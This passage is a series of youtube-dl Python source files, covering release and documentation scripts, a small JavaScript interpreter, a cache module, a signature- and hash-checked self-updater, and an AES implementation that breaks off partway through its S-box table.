    options, args = parser.parse_args()
    if len(args) != 2:
        parser.error('Expected an input and an output filename')

    infile, outfile = args

    with io.open(infile, encoding='utf-8') as inf:
        readme = inf.read()

    bug_text = re.search(
        r'(?s)#\s*BUGS\s*[^\n]*\s*(.*?)#\s*COPYRIGHT', readme).group(1)
    dev_text = re.search(
        r'(?s)(#\s*DEVELOPER INSTRUCTIONS.*?)#\s*EMBEDDING YOUTUBE-DL',
        readme).group(1)

    out = bug_text + dev_text

    with io.open(outfile, 'w', encoding='utf-8') as outf:
        outf.write(out)

if __name__ == '__main__':
    main()






#!/usr/bin/env python3
from __future__ import unicode_literals

import hashlib
import urllib.request
import json

versions_info = json.load(open('update/versions.json'))
version = versions_info['latest']
URL = versions_info['versions'][version]['bin'][0]

data = urllib.request.urlopen(URL).read()

# Read template page
with open('download.html.in', 'r', encoding='utf-8') as tmplf:
    template = tmplf.read()

sha256sum = hashlib.sha256(data).hexdigest()
template = template.replace('@PROGRAM_VERSION@', version)
template = template.replace('@PROGRAM_URL@', URL)
template = template.replace('@PROGRAM_SHA256SUM@', sha256sum)
template = template.replace('@EXE_URL@', versions_info['versions'][version]['exe'][0])
template = template.replace('@EXE_SHA256SUM@', versions_info['versions'][version]['exe'][1])
template = template.replace('@TAR_URL@', versions_info['versions'][version]['tar'][0])
template = template.replace('@TAR_SHA256SUM@', versions_info['versions'][version]['tar'][1])
with open('download.html', 'w', encoding='utf-8') as dlf:
    dlf.write(template)






#!/usr/bin/env python
# coding: utf-8

from __future__ import with_statement, unicode_literals

import datetime
import glob
import io  # For Python 2 compatibility
import os
import re

year = str(datetime.datetime.now().year)
for fn in glob.glob('*.html*'):
    with io.open(fn, encoding='utf-8') as f:
        content = f.read()
    newc = re.sub(r'(?P<copyright>Copyright © 2006-)(?P<year>[0-9]{4})', 'Copyright © 2006-' + year, content)
    if content != newc:
        tmpFn = fn + '.part'
        with io.open(tmpFn, 'wt', encoding='utf-8') as outf:
            outf.write(newc)
        os.rename(tmpFn, fn)






#!/usr/bin/env python3
from __future__ import unicode_literals

import datetime
import io
import json
import textwrap


atom_template = textwrap.dedent("""\
    <?xml version="1.0" encoding="utf-8"?>
    <feed xmlns="http://www.w3.org/2005/Atom">
        <link rel="self" href="http://rg3.github.io/youtube-dl/update/releases.atom" />
        <title>youtube-dl releases</title>
        <id>https://yt-dl.org/feed/youtube-dl-updates-feed</id>
        <updated>@TIMESTAMP@</updated>
        @ENTRIES@
    </feed>""")

entry_template = textwrap.dedent("""
    <entry>
        <id>https://yt-dl.org/feed/youtube-dl-updates-feed/youtube-dl-@VERSION@</id>
        <title>New version @VERSION@</title>
        <link href="http://rg3.github.io/youtube-dl" />
        <content type="xhtml">
            <div xmlns="http://www.w3.org/1999/xhtml">
                Downloads available at <a href="https://yt-dl.org/downloads/@VERSION@/">https://yt-dl.org/downloads/@VERSION@/</a>
            </div>
        </content>
        <author>
            <name>The youtube-dl maintainers</name>
        </author>
        <updated>@TIMESTAMP@</updated>
    </entry>
    """)

now = datetime.datetime.now()
now_iso = now.isoformat() + 'Z'

atom_template = atom_template.replace('@TIMESTAMP@', now_iso)

versions_info = json.load(open('update/versions.json'))
versions = list(versions_info['versions'].keys())
versions.sort()

entries = []
for v in versions:
    fields = v.split('.')
    year, month, day = map(int, fields[:3])
    faked = 0
    patchlevel = 0
    while True:
        try:
            datetime.date(year, month, day)
        except ValueError:
            day -= 1
            faked += 1
            assert day > 0
            continue
        break
    if len(fields) >= 4:
        try:
            patchlevel = int(fields[3])
        except ValueError:
            patchlevel = 1
    timestamp = '%04d-%02d-%02dT00:%02d:%02dZ' % (year, month, day, faked, patchlevel)

    entry = entry_template.replace('@TIMESTAMP@', timestamp)
    entry = entry.replace('@VERSION@', v)
    entries.append(entry)

entries_str = textwrap.indent(''.join(entries), '\t')
atom_template = atom_template.replace('@ENTRIES@', entries_str)

with io.open('update/releases.atom', 'w', encoding='utf-8') as atom_file:
    atom_file.write(atom_template)






#!/usr/bin/env python3
from __future__ import unicode_literals, with_statement

import rsa
import json
from binascii import hexlify

try:
    input = raw_input
except NameError:
    pass

versions_info = json.load(open('update/versions.json'))
if 'signature' in versions_info:
    del versions_info['signature']

print('Enter the PKCS1 private key, followed by a blank line:')
privkey = b''
while True:
    try:
        line = input()
    except EOFError:
        break
    if line == '':
        break
    privkey += line.encode('ascii') + b'\n'
privkey = rsa.PrivateKey.load_pkcs1(privkey)

signature = hexlify(rsa.pkcs1.sign(json.dumps(versions_info, sort_keys=True).encode('utf-8'), privkey, 'SHA-256')).decode()
print('signature: ' + signature)

versions_info['signature'] = signature
with open('update/versions.json', 'w') as versionsf:
    json.dump(versions_info, versionsf, indent=4, sort_keys=True)






#!/usr/bin/env python3
from __future__ import unicode_literals

import json
import sys
import hashlib
import os.path


if len(sys.argv) <= 1:
    print('Specify the version number as parameter')
    sys.exit()
version = sys.argv[1]

with open('update/LATEST_VERSION', 'w') as f:
    f.write(version)

versions_info = json.load(open('update/versions.json'))
if 'signature' in versions_info:
    del versions_info['signature']

new_version = {}

filenames = {
    'bin': 'youtube-dl',
    'exe': 'youtube-dl.exe',
    'tar': 'youtube-dl-%s.tar.gz' % version}
build_dir = os.path.join('..', '..', 'build', version)
for key, filename in filenames.items():
    url = 'https://yt-dl.org/downloads/%s/%s' % (version, filename)
    fn = os.path.join(build_dir, filename)
    with open(fn, 'rb') as f:
        data = f.read()
    if not data:
        raise ValueError('File %s is empty!' % fn)
    sha256sum = hashlib.sha256(data).hexdigest()
    new_version[key] = (url, sha256sum)

versions_info['versions'][version] = new_version
versions_info['latest'] = version

with open('update/versions.json', 'w') as jsonf:
    json.dump(versions_info, jsonf, indent=4, sort_keys=True)






#!/usr/bin/env python3
from __future__ import unicode_literals

import sys
import os
import textwrap

# We must be able to import youtube_dl
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))))

import youtube_dl


def main():
    with open('supportedsites.html.in', 'r', encoding='utf-8') as tmplf:
        template = tmplf.read()

    ie_htmls = []
    for ie in youtube_dl.list_extractors(age_limit=None):
        ie_html = '<b>{}</b>'.format(ie.IE_NAME)
        ie_desc = getattr(ie, 'IE_DESC', None)
        if ie_desc is False:
            continue
        elif ie_desc is not None:
            ie_html += ': {}'.format(ie.IE_DESC)
        if not ie.working():
            ie_html += ' (Currently broken)'
        ie_htmls.append('<li>{}</li>'.format(ie_html))

    template = template.replace('@SITES@', textwrap.indent('\n'.join(ie_htmls), '\t'))

    with open('supportedsites.html', 'w', encoding='utf-8') as sitesf:
        sitesf.write(template)

if __name__ == '__main__':
    main()






# -*- coding: utf-8 -*-
#
# youtube-dl documentation build configuration file, created by
# sphinx-quickstart on Fri Mar 14 21:05:43 2014.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

import sys
import os
# Allows to import youtube_dl
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

# -- General configuration ------------------------------------------------

# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
    'sphinx.ext.autodoc',
]

# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']

# The suffix of source filenames.
source_suffix = '.rst'

# The master toctree document.
master_doc = 'index'

# General information about the project.
project = u'youtube-dl'
copyright = u'2014, Ricardo Garcia Gonzalez'

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
from youtube_dl.version import __version__
version = __version__
# The full version, including alpha/beta/rc tags.
release = version

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'

# -- Options for HTML output ----------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.
html_theme = 'default'

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']

# Output file base name for HTML help builder.
htmlhelp_basename = 'youtube-dldoc'






from __future__ import unicode_literals

import json
import operator
import re

from .utils import (
    ExtractorError,
)

_OPERATORS = [
    ('|', operator.or_),
    ('^', operator.xor),
    ('&', operator.and_),
    ('>>', operator.rshift),
    ('<<', operator.lshift),
    ('-', operator.sub),
    ('+', operator.add),
    ('%', operator.mod),
    ('/', operator.truediv),
    ('*', operator.mul),
]
_ASSIGN_OPERATORS = [(op + '=', opfunc) for op, opfunc in _OPERATORS]
_ASSIGN_OPERATORS.append(('=', lambda cur, right: right))

_NAME_RE = r'[a-zA-Z_$][a-zA-Z_$0-9]*'


class JSInterpreter(object):
    def __init__(self, code, objects=None):
        if objects is None:
            objects = {}
        self.code = code
        self._functions = {}
        self._objects = objects

    def interpret_statement(self, stmt, local_vars, allow_recursion=100):
        if allow_recursion < 0:
            raise ExtractorError('Recursion limit reached')

        should_abort = False
        stmt = stmt.lstrip()
        stmt_m = re.match(r'var\s', stmt)
        if stmt_m:
            expr = stmt[len(stmt_m.group(0)):]
        else:
            return_m = re.match(r'return(?:\s+|$)', stmt)
            if return_m:
                expr = stmt[len(return_m.group(0)):]
                should_abort = True
            else:
                # Try interpreting it as an expression
                expr = stmt

        v = self.interpret_expression(expr, local_vars, allow_recursion)
        return v, should_abort

    def interpret_expression(self, expr, local_vars, allow_recursion):
        expr = expr.strip()

        if expr == '':  # Empty expression
            return None

        if expr.startswith('('):
            parens_count = 0
            for m in re.finditer(r'[()]', expr):
                if m.group(0) == '(':
                    parens_count += 1
                else:
                    parens_count -= 1
                    if parens_count == 0:
                        sub_expr = expr[1:m.start()]
                        sub_result = self.interpret_expression(
                            sub_expr, local_vars, allow_recursion)
                        remaining_expr = expr[m.end():].strip()
                        if not remaining_expr:
                            return sub_result
                        else:
                            expr = json.dumps(sub_result) + remaining_expr
                        break
            else:
                raise ExtractorError('Premature end of parens in %r' % expr)

        for op, opfunc in _ASSIGN_OPERATORS:
            m = re.match(r'''(?x)
                (?P<out>%s)(?:\[(?P<index>[^\]]+?)\])?
                \s*%s
                (?P<expr>.*)$''' % (_NAME_RE, re.escape(op)), expr)
            if not m:
                continue
            right_val = self.interpret_expression(
                m.group('expr'), local_vars, allow_recursion - 1)

            if m.groupdict().get('index'):
                lvar = local_vars[m.group('out')]
                idx = self.interpret_expression(
                    m.group('index'), local_vars, allow_recursion)
                assert isinstance(idx, int)
                cur = lvar[idx]
                val = opfunc(cur, right_val)
                lvar[idx] = val
                return val
            else:
                cur = local_vars.get(m.group('out'))
                val = opfunc(cur, right_val)
                local_vars[m.group('out')] = val
                return val

        if expr.isdigit():
            return int(expr)

        var_m = re.match(
            r'(?!if|return|true|false)(?P<name>%s)$' % _NAME_RE,
            expr)
        if var_m:
            return local_vars[var_m.group('name')]

        try:
            return json.loads(expr)
        except ValueError:
            pass

        m = re.match(
            r'(?P<var>%s)\.(?P<member>[^(]+)(?:\(+(?P<args>[^()]*)\))?$' % _NAME_RE,
            expr)
        if m:
            variable = m.group('var')
            member = m.group('member')
            arg_str = m.group('args')

            if variable in local_vars:
                obj = local_vars[variable]
            else:
                if variable not in self._objects:
                    self._objects[variable] = self.extract_object(variable)
                obj = self._objects[variable]

            if arg_str is None:
                # Member access
                if member == 'length':
                    return len(obj)
                return obj[member]

            assert expr.endswith(')')
            # Function call
            if arg_str == '':
                argvals = tuple()
            else:
                argvals = tuple([
                    self.interpret_expression(v, local_vars, allow_recursion)
                    for v in arg_str.split(',')])

            if member == 'split':
                assert argvals == ('',)
                return list(obj)
            if member == 'join':
                assert len(argvals) == 1
                return argvals[0].join(obj)
            if member == 'reverse':
                assert len(argvals) == 0
                obj.reverse()
                return obj
            if member == 'slice':
                assert len(argvals) == 1
                return obj[argvals[0]:]
            if member == 'splice':
                assert isinstance(obj, list)
                index, howMany = argvals
                res = []
                for i in range(index, min(index + howMany, len(obj))):
                    res.append(obj.pop(index))
                return res

            return obj[member](argvals)

        m = re.match(
            r'(?P<in>%s)\[(?P<idx>.+)\]$' % _NAME_RE, expr)
        if m:
            val = local_vars[m.group('in')]
            idx = self.interpret_expression(
                m.group('idx'), local_vars, allow_recursion - 1)
            return val[idx]

        for op, opfunc in _OPERATORS:
            m = re.match(r'(?P<x>.+?)%s(?P<y>.+)' % re.escape(op), expr)
            if not m:
                continue
            x, abort = self.interpret_statement(
                m.group('x'), local_vars, allow_recursion - 1)
            if abort:
                raise ExtractorError(
                    'Premature left-side return of %s in %r' % (op, expr))
            y, abort = self.interpret_statement(
                m.group('y'), local_vars, allow_recursion - 1)
            if abort:
                raise ExtractorError(
                    'Premature right-side return of %s in %r' % (op, expr))
            return opfunc(x, y)

        m = re.match(
            r'^(?P<func>%s)\((?P<args>[a-zA-Z0-9_$,]+)\)$' % _NAME_RE, expr)
        if m:
            fname = m.group('func')
            argvals = tuple([
                int(v) if v.isdigit() else local_vars[v]
                for v in m.group('args').split(',')])
            if fname not in self._functions:
                self._functions[fname] = self.extract_function(fname)
            return self._functions[fname](argvals)

        raise ExtractorError('Unsupported JS expression %r' % expr)

    def extract_object(self, objname):
        obj = {}
        obj_m = re.search(
            (r'(?:var\s+)?%s\s*=\s*\{' % re.escape(objname)) +
            r'\s*(?P<fields>([a-zA-Z$0-9]+\s*:\s*function\(.*?\)\s*\{.*?\}(?:,\s*)?)*)' +
            r'\}\s*;',
            self.code)
        fields = obj_m.group('fields')
        # Currently, it only supports function definitions
        fields_m = re.finditer(
            r'(?P<key>[a-zA-Z$0-9]+)\s*:\s*function'
            r'\((?P<args>[a-z,]+)\){(?P<code>[^}]+)}',
            fields)
        for f in fields_m:
            argnames = f.group('args').split(',')
            obj[f.group('key')] = self.build_function(argnames, f.group('code'))

        return obj

    def extract_function(self, funcname):
        func_m = re.search(
            r'''(?x)
                (?:function\s+%s|[{;,]\s*%s\s*=\s*function|var\s+%s\s*=\s*function)\s*
                \((?P<args>[^)]*)\)\s*
                \{(?P<code>[^}]+)\}''' % (
                re.escape(funcname), re.escape(funcname), re.escape(funcname)),
            self.code)
        if func_m is None:
            raise ExtractorError('Could not find JS function %r' % funcname)
        argnames = func_m.group('args').split(',')

        return self.build_function(argnames, func_m.group('code'))

    def call_function(self, funcname, *args):
        f = self.extract_function(funcname)
        return f(args)

    def build_function(self, argnames, code):
        def resf(args):
            local_vars = dict(zip(argnames, args))
            for stmt in code.split(';'):
                res, abort = self.interpret_statement(stmt, local_vars)
                if abort:
                    break
            return res
        return resf






#!/usr/bin/env python
from __future__ import unicode_literals

# Execute with
# $ python youtube_dl/__main__.py (2.6+)
# $ python -m youtube_dl          (2.7+)

import sys

if __package__ is None and not hasattr(sys, 'frozen'):
    # direct call of __main__.py
    import os.path
    path = os.path.realpath(os.path.abspath(__file__))
    sys.path.insert(0, os.path.dirname(os.path.dirname(path)))

import youtube_dl

if __name__ == '__main__':
    youtube_dl.main()






from __future__ import unicode_literals

__version__ = '2016.08.24'






from __future__ import unicode_literals

import errno
import io
import json
import os
import re
import shutil
import traceback

from .compat import compat_expanduser, compat_getenv
from .utils import write_json_file


class Cache(object):
    def __init__(self, ydl):
        self._ydl = ydl

    def _get_root_dir(self):
        res = self._ydl.params.get('cachedir')
        if res is None:
            cache_root = compat_getenv('XDG_CACHE_HOME', '~/.cache')
            res = os.path.join(cache_root, 'youtube-dl')
        return compat_expanduser(res)

    def _get_cache_fn(self, section, key, dtype):
        assert re.match(r'^[a-zA-Z0-9_.-]+$', section), \
            'invalid section %r' % section
        assert re.match(r'^[a-zA-Z0-9_.-]+$', key), 'invalid key %r' % key
        return os.path.join(
            self._get_root_dir(), section, '%s.%s' % (key, dtype))

    @property
    def enabled(self):
        return self._ydl.params.get('cachedir') is not False

    def store(self, section, key, data, dtype='json'):
        assert dtype in ('json',)

        if not self.enabled:
            return

        fn = self._get_cache_fn(section, key, dtype)
        try:
            try:
                os.makedirs(os.path.dirname(fn))
            except OSError as ose:
                if ose.errno != errno.EEXIST:
                    raise
            write_json_file(data, fn)
        except Exception:
            tb = traceback.format_exc()
            self._ydl.report_warning(
                'Writing cache to %r failed: %s' % (fn, tb))

    def load(self, section, key, dtype='json', default=None):
        assert dtype in ('json',)

        if not self.enabled:
            return default

        cache_fn = self._get_cache_fn(section, key, dtype)
        try:
            try:
                with io.open(cache_fn, 'r', encoding='utf-8') as cachef:
                    return json.load(cachef)
            except ValueError:
                try:
                    file_size = os.path.getsize(cache_fn)
                except (OSError, IOError) as oe:
                    file_size = str(oe)
                self._ydl.report_warning(
                    'Cache retrieval from %s failed (%s)' % (cache_fn, file_size))
        except IOError:
            pass  # No cache available

        return default

    def remove(self):
        if not self.enabled:
            self._ydl.to_screen('Cache is disabled (Did you combine --no-cache-dir and --rm-cache-dir?)')
            return

        cachedir = self._get_root_dir()
        if not any((term in cachedir) for term in ('cache', 'tmp')):
            raise Exception('Not removing directory %s - this does not look like a cache dir' % cachedir)

        self._ydl.to_screen(
            'Removing cache dir %s .' % cachedir, skip_eol=True)
        if os.path.exists(cachedir):
            self._ydl.to_screen('.', skip_eol=True)
            shutil.rmtree(cachedir)
        self._ydl.to_screen('.')






from __future__ import unicode_literals

import io
import json
import traceback
import hashlib
import os
import subprocess
import sys
from zipimport import zipimporter

from .utils import encode_compat_str

from .version import __version__


def rsa_verify(message, signature, key):
    from hashlib import sha256
    assert isinstance(message, bytes)
    byte_size = (len(bin(key[0])) - 2 + 8 - 1) // 8
    signature = ('%x' % pow(int(signature, 16), key[1], key[0])).encode()
    signature = (byte_size * 2 - len(signature)) * b'0' + signature
    asn1 = b'3031300d060960864801650304020105000420'
    asn1 += sha256(message).hexdigest().encode()
    if byte_size < len(asn1) // 2 + 11:
        return False
    expected = b'0001' + (byte_size - len(asn1) // 2 - 3) * b'ff' + b'00' + asn1
    return expected == signature


def update_self(to_screen, verbose, opener):
    """Update the program file with the latest version from the repository"""

    UPDATE_URL = 'https://rg3.github.io/youtube-dl/update/'
    VERSION_URL = UPDATE_URL + 'LATEST_VERSION'
    JSON_URL = UPDATE_URL + 'versions.json'
    UPDATES_RSA_KEY = (0x9d60ee4d8f805312fdb15a62f87b95bd66177b91df176765d13514a0f1754bcd2057295c5b6f1d35daa6742c3ffc9a82d3e118861c207995a8031e151d863c9927e304576bc80692bc8e094896fcf11b66f3e29e04e3a71e9a11558558acea1840aec37fc396fb6b65dc81a1c4144e03bd1c011de62e3f1357b327d08426fe93, 65537)

    if not isinstance(globals().get('__loader__'), zipimporter) and not hasattr(sys, 'frozen'):
        to_screen('It looks like you installed youtube-dl with a package manager, pip, setup.py or a tarball. Please use that to update.')
        return

    # Check if there is a new version
    try:
        newversion = opener.open(VERSION_URL).read().decode('utf-8').strip()
    except Exception:
        if verbose:
            to_screen(encode_compat_str(traceback.format_exc()))
        to_screen('ERROR: can\'t find the current version. Please try again later.')
        return
    if newversion == __version__:
        to_screen('youtube-dl is up-to-date (' + __version__ + ')')
        return

    # Download and check versions info
    try:
        versions_info = opener.open(JSON_URL).read().decode('utf-8')
        versions_info = json.loads(versions_info)
    except Exception:
        if verbose:
            to_screen(encode_compat_str(traceback.format_exc()))
        to_screen('ERROR: can\'t obtain versions info. Please try again later.')
        return
    if 'signature' not in versions_info:
        to_screen('ERROR: the versions file is not signed or corrupted. Aborting.')
        return
    signature = versions_info['signature']
    del versions_info['signature']
    if not rsa_verify(json.dumps(versions_info, sort_keys=True).encode('utf-8'), signature, UPDATES_RSA_KEY):
        to_screen('ERROR: the versions file signature is invalid. Aborting.')
        return

    version_id = versions_info['latest']

    def version_tuple(version_str):
        return tuple(map(int, version_str.split('.')))
    if version_tuple(__version__) >= version_tuple(version_id):
        to_screen('youtube-dl is up to date (%s)' % __version__)
        return

    to_screen('Updating to version ' + version_id + ' ...')
    version = versions_info['versions'][version_id]

    print_notes(to_screen, versions_info['versions'])

    # sys.executable is set to the full pathname of the exe-file for py2exe
    filename = sys.executable if hasattr(sys, 'frozen') else sys.argv[0]

    if not os.access(filename, os.W_OK):
        to_screen('ERROR: no write permissions on %s' % filename)
        return

    # Py2EXE
    if hasattr(sys, 'frozen'):
        exe = filename
        directory = os.path.dirname(exe)
        if not os.access(directory, os.W_OK):
            to_screen('ERROR: no write permissions on %s' % directory)
            return

        try:
            urlh = opener.open(version['exe'][0])
            newcontent = urlh.read()
            urlh.close()
        except (IOError, OSError):
            if verbose:
                to_screen(encode_compat_str(traceback.format_exc()))
            to_screen('ERROR: unable to download latest version')
            return

        newcontent_hash = hashlib.sha256(newcontent).hexdigest()
        if newcontent_hash != version['exe'][1]:
            to_screen('ERROR: the downloaded file hash does not match. Aborting.')
            return

        try:
            with open(exe + '.new', 'wb') as outf:
                outf.write(newcontent)
        except (IOError, OSError):
            if verbose:
                to_screen(encode_compat_str(traceback.format_exc()))
            to_screen('ERROR: unable to write the new version')
            return

        try:
            bat = os.path.join(directory, 'youtube-dl-updater.bat')
            with io.open(bat, 'w') as batfile:
                batfile.write('''
@echo off
echo Waiting for file handle to be closed ...
ping 127.0.0.1 -n 5 -w 1000 > NUL
move /Y "%s.new" "%s" > NUL
echo Updated youtube-dl to version %s.
start /b "" cmd /c del "%%~f0"&exit /b"
                \n''' % (exe, exe, version_id))

            subprocess.Popen([bat])  # Continues to run in the background
            return  # Do not show premature success messages
        except (IOError, OSError):
            if verbose:
                to_screen(encode_compat_str(traceback.format_exc()))
            to_screen('ERROR: unable to overwrite current version')
            return

    # Zip unix package
    elif isinstance(globals().get('__loader__'), zipimporter):
        try:
            urlh = opener.open(version['bin'][0])
            newcontent = urlh.read()
            urlh.close()
        except (IOError, OSError):
            if verbose:
                to_screen(encode_compat_str(traceback.format_exc()))
            to_screen('ERROR: unable to download latest version')
            return

        newcontent_hash = hashlib.sha256(newcontent).hexdigest()
        if newcontent_hash != version['bin'][1]:
            to_screen('ERROR: the downloaded file hash does not match. Aborting.')
            return

        try:
            with open(filename, 'wb') as outf:
                outf.write(newcontent)
        except (IOError, OSError):
            if verbose:
                to_screen(encode_compat_str(traceback.format_exc()))
            to_screen('ERROR: unable to overwrite current version')
            return

    to_screen('Updated youtube-dl. Restart youtube-dl to use the new version.')


def get_notes(versions, fromVersion):
    notes = []
    for v, vdata in sorted(versions.items()):
        if v > fromVersion:
            notes.extend(vdata.get('notes', []))
    return notes


def print_notes(to_screen, versions, fromVersion=__version__):
    notes = get_notes(versions, fromVersion)
    if notes:
        to_screen('PLEASE NOTE:')
        for note in notes:
            to_screen(note)






from __future__ import unicode_literals

import base64
from math import ceil

from .utils import bytes_to_intlist, intlist_to_bytes

BLOCK_SIZE_BYTES = 16


def aes_ctr_decrypt(data, key, counter):
    """
    Decrypt with aes in counter mode

    @param {int[]} data        cipher
    @param {int[]} key         16/24/32-Byte cipher key
    @param {instance} counter  Instance whose next_value function (@returns {int[]}  16-Byte block)
                               returns the next counter block
    @returns {int[]}           decrypted data
    """
    expanded_key = key_expansion(key)
    block_count = int(ceil(float(len(data)) / BLOCK_SIZE_BYTES))

    decrypted_data = []
    for i in range(block_count):
        counter_block = counter.next_value()
        block = data[i * BLOCK_SIZE_BYTES: (i + 1) * BLOCK_SIZE_BYTES]
        block += [0] * (BLOCK_SIZE_BYTES - len(block))

        cipher_counter_block = aes_encrypt(counter_block, expanded_key)
        decrypted_data += xor(block, cipher_counter_block)
    decrypted_data = decrypted_data[:len(data)]

    return decrypted_data


def aes_cbc_decrypt(data, key, iv):
    """
    Decrypt with aes in CBC mode

    @param {int[]} data        cipher
    @param {int[]} key         16/24/32-Byte cipher key
    @param {int[]} iv          16-Byte IV
    @returns {int[]}           decrypted data
    """
    expanded_key = key_expansion(key)
    block_count = int(ceil(float(len(data)) / BLOCK_SIZE_BYTES))

    decrypted_data = []
    previous_cipher_block = iv
    for i in range(block_count):
        block = data[i * BLOCK_SIZE_BYTES: (i + 1) * BLOCK_SIZE_BYTES]
        block += [0] * (BLOCK_SIZE_BYTES - len(block))

        decrypted_block = aes_decrypt(block, expanded_key)
        decrypted_data += xor(decrypted_block, previous_cipher_block)
        previous_cipher_block = block
    decrypted_data = decrypted_data[:len(data)]

    return decrypted_data


def key_expansion(data):
    """
    Generate key schedule

    @param {int[]} data  16/24/32-Byte cipher key
    @returns {int[]}     176/208/240-Byte expanded key
    """
    data = data[:]  # copy
    rcon_iteration = 1
    key_size_bytes = len(data)
    expanded_key_size_bytes = (key_size_bytes // 4 + 7) * BLOCK_SIZE_BYTES

    while len(data) < expanded_key_size_bytes:
        temp = data[-4:]
        temp = key_schedule_core(temp, rcon_iteration)
        rcon_iteration += 1
        data += xor(temp, data[-key_size_bytes: 4 - key_size_bytes])

        for _ in range(3):
            temp = data[-4:]
            data += xor(temp, data[-key_size_bytes: 4 - key_size_bytes])

        if key_size_bytes == 32:
            temp = data[-4:]
            temp = sub_bytes(temp)
            data += xor(temp, data[-key_size_bytes: 4 - key_size_bytes])

        for _ in range(3 if key_size_bytes == 32 else 2 if key_size_bytes == 24 else 0):
            temp = data[-4:]
            data += xor(temp, data[-key_size_bytes: 4 - key_size_bytes])
    data = data[:expanded_key_size_bytes]

    return data


def aes_encrypt(data, expanded_key):
    """
    Encrypt one block with aes

    @param {int[]} data          16-Byte state
    @param {int[]} expanded_key  176/208/240-Byte expanded key
    @returns {int[]}             16-Byte cipher
    """
    rounds = len(expanded_key) // BLOCK_SIZE_BYTES - 1

    data = xor(data, expanded_key[:BLOCK_SIZE_BYTES])
    for i in range(1, rounds + 1):
        data = sub_bytes(data)
        data = shift_rows(data)
        if i != rounds:
            data = mix_columns(data)
        data = xor(data, expanded_key[i * BLOCK_SIZE_BYTES: (i + 1) * BLOCK_SIZE_BYTES])

    return data


def aes_decrypt(data, expanded_key):
    """
    Decrypt one block with aes

    @param {int[]} data          16-Byte cipher
    @param {int[]} expanded_key  176/208/240-Byte expanded key
    @returns {int[]}             16-Byte state
    """
    rounds = len(expanded_key) // BLOCK_SIZE_BYTES - 1

    for i in range(rounds, 0, -1):
        data = xor(data, expanded_key[i * BLOCK_SIZE_BYTES: (i + 1) * BLOCK_SIZE_BYTES])
        if i != rounds:
            data = mix_columns_inv(data)
        data = shift_rows_inv(data)
        data = sub_bytes_inv(data)
    data = xor(data, expanded_key[:BLOCK_SIZE_BYTES])

    return data


def aes_decrypt_text(data, password, key_size_bytes):
    """
    Decrypt text
    - The first 8 Bytes of decoded 'data' are the 8 high Bytes of the counter
    - The cipher key is retrieved by encrypting the first 16 Byte of 'password'
      with the first 'key_size_bytes' Bytes from 'password' (if necessary filled with 0's)
    - Mode of operation is 'counter'

    @param {str} data                    Base64 encoded string
    @param {str,unicode} password        Password (will be encoded with utf-8)
    @param {int} key_size_bytes          Possible values: 16 for 128-Bit, 24 for 192-Bit or 32 for 256-Bit
    @returns {str}                       Decrypted data
    """
    NONCE_LENGTH_BYTES = 8

    data = bytes_to_intlist(base64.b64decode(data.encode('utf-8')))
    password = bytes_to_intlist(password.encode('utf-8'))

    key = password[:key_size_bytes] + [0] * (key_size_bytes - len(password))
    key = aes_encrypt(key[:BLOCK_SIZE_BYTES], key_expansion(key)) * (key_size_bytes // BLOCK_SIZE_BYTES)

    nonce = data[:NONCE_LENGTH_BYTES]
    cipher = data[NONCE_LENGTH_BYTES:]

    class Counter(object):
        __value = nonce + [0] * (BLOCK_SIZE_BYTES - NONCE_LENGTH_BYTES)

        def next_value(self):
            temp = self.__value
            self.__value = inc(self.__value)
            return temp

    decrypted_data = aes_ctr_decrypt(cipher, key, Counter())
    plaintext = intlist_to_bytes(decrypted_data)

    return plaintext

RCON = (0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36)
SBOX = (0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
        0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
        0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
        0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
        0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
        0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
        0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
        0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
        0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
        0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
